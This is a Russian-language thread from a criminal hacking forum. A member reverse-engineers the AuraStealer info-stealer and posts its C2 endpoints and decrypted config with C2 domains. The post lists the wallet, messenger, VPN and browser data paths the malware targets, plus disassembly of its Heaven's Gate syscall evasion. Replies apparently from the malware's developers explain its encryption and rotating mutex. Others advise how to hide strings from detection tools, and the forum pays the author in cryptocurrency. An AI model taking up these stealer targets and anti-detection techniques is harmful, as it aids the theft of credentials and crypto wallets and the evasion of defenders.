• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья short aurastealer #2

wizardo

RAID-массив
Пользователь
Регистрация
02.07.2025
Сообщения
60
Реакции
94
чумачечий стиллак, сожалею аверам которые на повседневной основе реверсят такую дичь

сразу начну с того, что считаю странным в нынешних реалиях - коллы к дефолт WINHTTP.dll либе
Код:
sub_427592 <--- connection actvty( WinHttpCrackUrl,
WinHttpConnect,
WinHttpSetCredentials,
WinHttpAddRequestHeaders,
WinHttpSendRequest,
WinHttpWriteData,
WinHttpReceiveResponse,
WinHttpQueryHeaders,
WinHttpQueryAuthSchemes,
WinHttpQueryDataAvailable)

Для коннекта с вебом (который точно использует BASE64 и еще что-то.. на прошлом опыте с аматерой & stealc скажу, что это RC4 + Base64, но ключ к RC4 я найти не смог) у запроса должен быть следующий заголовок:
Код:
Connection: Close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
1752257437071.png

Первым делом билд стучит на эндпоинт /api/live с заголовками указанными сверху, после чего оно ожидает получить назад "true", если ответ не дойдет, то билд крашнется
После чего билд вызывает функции SystemFunction036(RtlGenRandom), CreateMutexA для создания мутанта(антидубль?)
После того, как билд создал мутанта и добрал себе WinAPI экспортов связанных с криптографией, мы стучимся уже на эндпоинт /api/conf.
Но встречаемся со следующей проблемой:
1752258000146.png

Что запрос на веб, что ответ - зашифрованы.. Что делать?
На помощь приходит то, что кодер AURA использовал публичную либу nlohman json - можно предположить, что если она есть в проекте, то скорее всего, через нее будет прогоняться весь веб-траффик билд <--> клиент.
Мне не нужно изучать либу для того, чтобы узнать, где именно будет JSON пакет - я уже знаю, что я ищу функцию под названием json::dump, и что она лежит рядом со строчкой
Код:
"{\"bytes\":["
1752258305933.png

дальше просто нахожу функцию, использующую эту строчку и ставлю бряк на ret - json::dump должен возвращать распаршенную JSON всегда
успех! у нас на руках появилась JSON-ка следующего содержания:

Код:
"{\"conf\":

        {\"hosts\": [\"https://armydevice.shop\",\"https://glossmagazine.shop\"],

         \"anti_vm\": true,

          \"anti_dbg\": true,

           \"self_del\": true,

            \"run_delay\": 0,

             \"useragents\": [\"\"]},

              \"build\": {\"ver\": \"1.0.0\",

               \"build_id\": \"9f594914-9bc5-422b-b4d7-8733894b0b5c\"}}"
hosts - прокладки(стиллер является MaaS); anti_vm - запрет запуска билда на виртуалках; anti_dbg - меры против отладчика(?), run_delay - задержка перед процессом стила, build - версия билда и build_id - идентификатор билда в базе данных стиллера..
После того, как стиллер распарсил свой конфиг(я прыгал через этот код несколько минут btw)
запускается следующая функция -
Граббер
Первым делом стиллер хочет собрать Filezilla - происходит вызов ExpandEnviromentStringsW с аргументом (L"%appdata%"\\FileZilla), но из-за того, что у меня не установлена FileZilla стиллер вызывает ExpandEnviromentStringsW, но уже с аргументом (L"%localappdata%\\FileZilla"), тоже самое с ProgramFiles X86...
1752259068625.png

(маленький мемчик)
Снизу приложу список всего, что оно хочет грабнуть, но учитывайте, что оно так-же лазает и в другие директории за этими папками
Код:
%appdata%\\Telegram Desktop\\tdata
%appdata%\\Discord\\Local Storage\\leveldb
%appdata%\\Discord PTB\\Local Storage\\leveldb
%appdata%\\.purple
%appdata%\\Psi
%appdata%\\Tox
%appdata%\\OpenVPN Connect\\profiles
%localappdata%\\NordVPN
%localappdata%\\ProtonVPN
%programfiles%\\Steam
%programfiles%\\Steam\\config
%localappdata%\\Ubisoft Game Launcher
%localappdata%\\Authy Desktop\\Local Storage\\leveldb
%appdata%\\Anoncoin
%appdata%\Armory
%appdata%\atomic
%appdata%\atomic\Local Storage\leveldb
%appdata%\BBQCoin
%appdata%\Blockstream\Green\Wallets
%appdata%\bytecoin
%appdata%\Bitcoin\\Wallets
%appdata%\Binance
%appdata%\DashCore
%appdata%\Daedalus Mainnet
%appdata%\Coinomi\Coinomi\wallets
%localappdata%\Dogecoin
%localappdata%\devcoin
%localappdata%\digitalcoin
%localappdata%\ElectronCash\\walets
%appdata%\Electrum\\walets
%localappdata%\Electrum-LTC\\walets
%appdata%\\Etherium
%appdata%\Exodus
%appdata%\Exodus\backups
%appdata%\Exodus\exodus.wallet
%appdata%\Florincoin
%appdata%\Franko
%appdata%\Freiccoin
%appdata%\Guarda
%appdata%\GoldCoinGLD
%appdata%\InfiniteCoin
%appdata%\IOCoin
%appdata%\IxCoin
%appdata%\com.liberty.jaxx\IndexedDB
%appdata%\jaxx\Local Storage
%appdata%\Litecoin
%appdata%\Ledger Live
%appdata%\Ledger Live\Local Storage\leveldb
%appdata%\Ledger Live\Local Storage\Session Storage
%appdata%\Megacoin
%appdata%\Mincoin
%appdata%\MultiDoge
%appdata%\NameCoin
%appdata%\Primecoin
%appdata%\WalletWasabi\Client\Wallets
%appdata%\Terracoin
%appdata%\YACoin
%appdata%\ZCash
%appdata%\Google\Chrome\User Data
%appdata%\Google\Chrome Beta\User Data
%appdata%\Google\Chrome SxS\User Data
%appdata%\Google\Chrome Dev\User Data
%appdata%\Google\Chrome Unstable\User Data
%appdata%\Google\Chrome Canary\User Data
%appdata%\Google (x86)\Chrome\User Data
%appdata%\Google (x86)\Chrome Beta\User Data
%appdata%\Google (x86)\Chrome SxS\User Data
%appdata%\Google (x86)\Chrome Dev\User Data
%appdata%\Google (x86)\Chrome Unstable\User Data
%appdata%\Google (x86)\Chrome Canary\User Data
%appdata%\Chromium\User Data
%localappdata%\Microsoft\Edge\User Data
после того, как все это дело грабнулось и пробежало, то мы заходим уже в следующую функцию - граб браузеров
Граб msedge
на моей виртуалке стоит только msedge, по этому скорее всего грабить будет как раз его
В этом билде используется техника, в которой спавнится msedge.exe в замороженном состоянии с параметром --headless
1752259881617.png

ну и ладно...
когда я сидел и смотрел на вызовы, то я заметил следующие дела:
Произошел вызов CreateProcessW и в моей системе появился следующий процесс -
1752260471464.png

И теперь идет пока что самое интересное, что я увидел тут:
Когда я смотрел на билд на malware-bazaar-е, то я увидел, что билд AURA тригернул YARA индикатор на HEAVENS GATE:
1752260607234.png

во время того, как я пробегал через программу - я вижу следующий код:
1752260648896.png

и да, тут используется Heavens Gate, но не простой Heavens Gate, а Hells Gate
Heavens Gate - техника для скрытия от АВ вызовов API путем исполнения в этом случае x64 кода в x32 процессе
Hells Gate в свою же очередь выступает здесь как техника вызова индерект сисколлов через Heavens Gate
следующий текст я даже объяснять не буду - на часах уже 3ий час ночи...
начало x64 кода отмечается инструкциями ret far
Код:
022E0014  | 8B4D 10                       | mov ecx,dword ptr ss:[ebp+10]                   |
022E0017  | 67:48                         | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0019  | 8B55 18                       | mov edx,dword ptr ss:[ebp+18]                   |
022E001C  | 67:4C                         | dec esp                                         |
022E001E  | 8B45 20                       | mov eax,dword ptr ss:[ebp+20]                   |
022E0021  | 67:4C                         | dec esp                                         |
022E0023  | 8B4D 28                       | mov ecx,dword ptr ss:[ebp+28]                   | [ebp+28]:&"LdrGetProcedureAddress"
022E0026  | 67:48                         | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0028  | 8B45 30                       | mov eax,dword ptr ss:[ebp+30]                   |
022E002B  | A8 01                         | test al,1                                       |
022E002D  | 75 04                         | jne 22E0033                                     |
022E002F  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0030  | 83EC 08                       | sub esp,8                                       |
022E0033  | 57                            | push edi                                        |
022E0034  | 67:48                         | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0036  | 8B7D 38                       | mov edi,dword ptr ss:[ebp+38]                   |
022E0039  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E003A  | 85C0                          | test eax,eax                                    | eax:&"LdrGetProcedureAddress"
022E003C  | 74 16                         | je 22E0054                                      |
022E003E  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E003F  | 8D7CC7 F8                     | lea edi,dword ptr ds:[edi+eax*8-8]              |
022E0043  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0044  | 85C0                          | test eax,eax                                    | eax:&"LdrGetProcedureAddress"
022E0046  | 74 0C                         | je 22E0054                                      |
022E0048  | FF37                          | push dword ptr ds:[edi]                         |
022E004A  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E004B  | 83EF 08                       | sub edi,8                                       |
022E004E  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E004F  | 83E8 01                       | sub eax,1                                       | eax:&"LdrGetProcedureAddress"
022E0052  | EB EF                         | jmp 22E0043                                     |
022E0054  | 67:8B7D 40                    | mov edi,dword ptr ds:[di+40]                    |
022E0058  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0059  | 83EC 20                       | sub esp,20                                      |
022E005C  | 67:FF55 08                    | call dword ptr ds:[di+8]                        |
022E0060  | 67:8907                       | mov dword ptr ds:[bx],eax                       | eax:&"LdrGetProcedureAddress"
022E0063  | 67:48                         | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0065  | 8B4D 30                       | mov ecx,dword ptr ss:[ebp+30]                   |
022E0068  | 48                            | dec eax                                         | eax:&"LdrGetProcedureAddress"
022E0069  | 8D64CC 20                     | lea esp,dword ptr ss:[esp+ecx*8+20]             |
022E006D  | 5F                            | pop edi                                         |
022E006E  | E8 00000000                   | call 22E0073                                    | call $0
022E0073  | C74424 04 23000000            | mov dword ptr ss:[esp+4],23                     | [esp+04]:CloseHandle+4A, 23:'#'
022E007B  | 830424 0D                     | add dword ptr ss:[esp],D                        |
022E007F  | CB                            | ret far                                         |
022E0080  | 66:8CD8                       | mov ax,ds                                       |
022E0083  | 8ED0                          | mov ss,ax                                       |
022E0085  | 89EC                          | mov esp,ebp                                     |
022E0087  | 5D                            | pop ebp                                         |
022E0088  | C3                            | ret                                             |
^^ - то, что выдает мне x32dbg
копируем эти байты и вставляем на сайт https://defuse.ca/online-x86-assembler.htm и интерпретируем это уже как x64 инструкции..
получаем вот это:
Код:
Disassembly:
0:  67 48 8b 4d 10          mov    rcx,QWORD PTR [ebp+0x10]
5:  67 48 8b 55 18          mov    rdx,QWORD PTR [ebp+0x18]
a:  67 4c 8b 45 20          mov    r8,QWORD PTR [ebp+0x20]
f:  67 4c 8b 4d 28          mov    r9,QWORD PTR [ebp+0x28]
14: 67 48 8b 45 30          mov    rax,QWORD PTR [ebp+0x30]
19: a8 01                   test   al,0x1
1b: 75 04                   jne    0x21
1d: 48 83 ec 08             sub    rsp,0x8
21: 57                      push   rdi
22: 67 48 8b 7d 38          mov    rdi,QWORD PTR [ebp+0x38]
27: 48 85 c0                test   rax,rax
2a: 74 16                   je     0x42
2c: 48 8d 7c c7 f8          lea    rdi,[rdi+rax*8-0x8]
31: 48 85 c0                test   rax,rax
34: 74 0c                   je     0x42
36: ff 37                   push   QWORD PTR [rdi]
38: 48 83 ef 08             sub    rdi,0x8
3c: 48 83 e8 01             sub    rax,0x1
40: eb ef                   jmp    0x31
42: 67 8b 7d 40             mov    edi,DWORD PTR [ebp+0x40]
46: 48 83 ec 20             sub    rsp,0x20
4a: 67 ff 55 08             call   QWORD PTR [ebp+0x8]
4e: 67 89 07                mov    DWORD PTR [edi],eax
51: 67 48 8b 4d 30          mov    rcx,QWORD PTR [ebp+0x30]
56: 48 8d 64 cc 20          lea    rsp,[rsp+rcx*8+0x20]
5b: 5f                      pop    rdi
5c: e8 00 00 00 00          call   0x61
61: c7 44 24 04 23 00 00    mov    DWORD PTR [rsp+0x4],0x23
68: 00
69: 83 04 24 0d             add    DWORD PTR [rsp],0xd
обойти это можно достаточно легко - поставить брейкпоинт на инструкцию call esi которая заводит нас сюда, сделать 1 шаг с входом в функцию, поставить breakpoint на ret(или нажать на Execute till return)
если попытаться пройти через этот код синглстепами, то у вас заспавнится прямо перед инструкциями int 3 + при попытке пробежать вперед уже будет вылезать EXCEPTION_BREAKPOINT
после того, как этот код выполнился, мы получаем следующий адрес в дампе:
1752261330003.png

(черный дебаггер - x32, белый дебаггер - x64, выделенный адрес указывает на ZwCreateThreadEx уже в x64 ntdll, при этом он находится внутри 32ух битного процесса)
на этом пока что остановлюсь, еще поресерчу и выложу уже как они грабают хром без прав админа, офк если мне вообще хватит бошки дальше прыгать по этому коду
спойлер: они декриптят хром на сервере, так-что ничего особенного скорее всего тут не будет: шелл который оно хочет запустить просто украдет токен у эджа
note: api-hammering(?), lol
1752261569808.png
 
Последнее редактирование:
Спасибо за обзор, очень толковый, понравился! Так погрузился в процесс чтения, что не заметил как статья подошла к концу. Ждём третью часть!
Скрытый контент для пользователей: wizardo.

note: api-hammering(?), lol
По определенным причинам не попал в релиз версии 1.0.0, но уже включили в версии 1.1.0 -> тык
 
Скрытый контент для пользователей: wizardo.
 
Скрытое содержимое
угу, у меня где-то там так-же брякнулся CryptStringToBinaryA в который первым аргументом был передан base64 блок начинающийся на "APPB"
1752312637354.png

==

1752312677538.png
 
Последнее редактирование:
на прошлом опыте с аматерой & stealc скажу, что это RC4 + Base64, но ключ к RC4 я найти не смог
Маленькая поправочка, мы используем AES-256-CBC (не rc4), как для шифрования трафика между билдом и c2, так и для дешифровки локального конфига билда. А для шифрования обычных строк по всему коду используется компильтайм xor.
После чего билд вызывает функции SystemFunction036(RtlGenRandom), CreateMutexA для создания мутанта(антидубль?)
Антидубль, но если бы там был просто рандом, он бы не работал. Мы получаем количество часов от начала эпохи Unix и прибавляем к этому числу djb2 хеш от id билда, получившееся значение используется как seed в генераторе случайных чисел, создающем имя мутекса. В результате раз в час мутекс меняется, что не позволяет навесить на него правило.

В остальном все по делу написано.
 
Последнее редактирование:
Маленькая поправочка, мы используем AES-256-CBC (не rc4), как для шифрования трафика между билдом и c2, так и для дешифровки локального конфига билда. А для шифрования обычных строк по всему коду используется компильтайм xor.

Антидубль, но если бы там был просто рандом, он бы не работал. Мы получаем количество часов от начала эпохи Unix и прибавляем к этому числу djb2 хеш от id билда, получившееся значение используется как seed в генераторе случайных чисел, создающем имя мутекса. В результате раз в час мутекс меняется, что не позволяет навесить на него правило.

В остальном все по делу написано.
Зачем вам nlohman? почему не легковесный json11?
 
Зачем вам nlohman? почему не легковесный json11?
Он удобен для прототипирования кода и быстрой разработки + предпочтения кодера. В будущем возможно заменим на что-то облегченное. Посмотрели json11, выглядит перспективно, спасибо!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
а зачем вообще json либы когда есть StrStrA
наверное чтоб с сервером общаться удобно было, все таки json формат в основном на серверах юзается и в передаче запросов
 
наверное чтоб с сервером общаться удобно было, все таки json формат в основном на серверах юзается и в передаче запросов
все эти строчки в памяти anti_vm anti_dbg и тп лишний повод для детектов, почему бы не сделать свой пакет:
push 1
struct CONFIG{
int8 anti_vm;
int8 anti_dbg;
...;
char hosts_separator; //условно |, можно рандомить от билда к билду
char hosts[1234];// если separator ) то "https://google.com)https://example.com\0"
}
pop 1
 
а зачем вообще json либы когда есть StrStrA
char hosts_separator; //условно |, можно рандомить от билда к билду
char hosts[1234];// если separator ) то "https://google.com)https://example.com\0"

Не всегда удобно, костыли ебан#е если быть точнее
json11 очень легкая либа, без крт и стл не заметно ее вообще
 
все эти строчки в памяти anti_vm anti_dbg и тп лишний повод для детектов, почему бы не сделать свой пакет:
push 1
struct CONFIG{
int8 anti_vm;
int8 anti_dbg;
...;
char hosts_separator; //условно |, можно рандомить от билда к билду
char hosts[1234];// если separator ) то "https://google.com)https://example.com\0"
}
pop 1
Да, можно сделать и так. Мы развиваемся и придём к лучшему из возможных решений.
 
Последнее редактирование:
Не всегда удобно, костыли ебан#е если быть точнее
json11 очень легкая либа, без крт и стл не заметно ее вообще
да не, я бы не срал строками лишними там где они не нужны
 
да не, я бы не срал строками лишними там где они не нужны
Там в json11
1752328804411.png

Все строки что есть - это fail

можно его удалить или в xor str какойнить засунуть и все, строк не будет вообще
 
можно его удалить или в xor str какойнить засунуть и все, строк не будет вообще
https://github.com/mandiant/flare-floss?tab=readme-ov-file#flare-obfuscated-string-solver
floss -v file.bin
все равно получишь строчки, но можно воспользоваться и подобной дичью от sapdragon , она вроде бы не палится через такие утилиты-> https://github.com/sapdragon/autostr
 
Здравствуйте wizardo, администрации проекта понравился ваш обзор, и мы решили выразить вам благодарность за потраченное время.
Отправтье, пожалуйста сюда ваш XMR адрес, спасибо!
 
Здравствуйте wizardo, администрации проекта понравился ваш обзор, и мы решили выразить вам благодарность за потраченное время.
Отправтье, пожалуйста сюда ваш XMR адрес, спасибо!
сколько если не секрет?)
 
сколько если не секрет?)
Принято, оплачиваем. Прошу прислать кошелек в ЛС.
$120 (700 рублей / 1000 символов)
 
Принято, оплачиваем. Прошу прислать кошелек в ЛС.
$120 (700 рублей / 1000 символов)
По этой формуле получилось бы 35$ (3854 символа без пробелов, цитирования и кода), но у нашей благодарности немного иная формула, мы отправим больше😉
 
Пожалуйста, обратите внимание, что пользователь заблокирован
По этой формуле получилось бы 35$ (3854 символа без пробелов, цитирования и кода), но у нашей благодарности немного иная формула, мы отправим больше😉
однажды, был такой юзер с ником Micky и он сделал статью-обзор AngelDrainer, на что Ангелы растрогались и решили заплатить юзеру за обзор ($1000), с результатами можешь ознакомиться в этой же статье - https://xss.pro/threads/111321/ :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх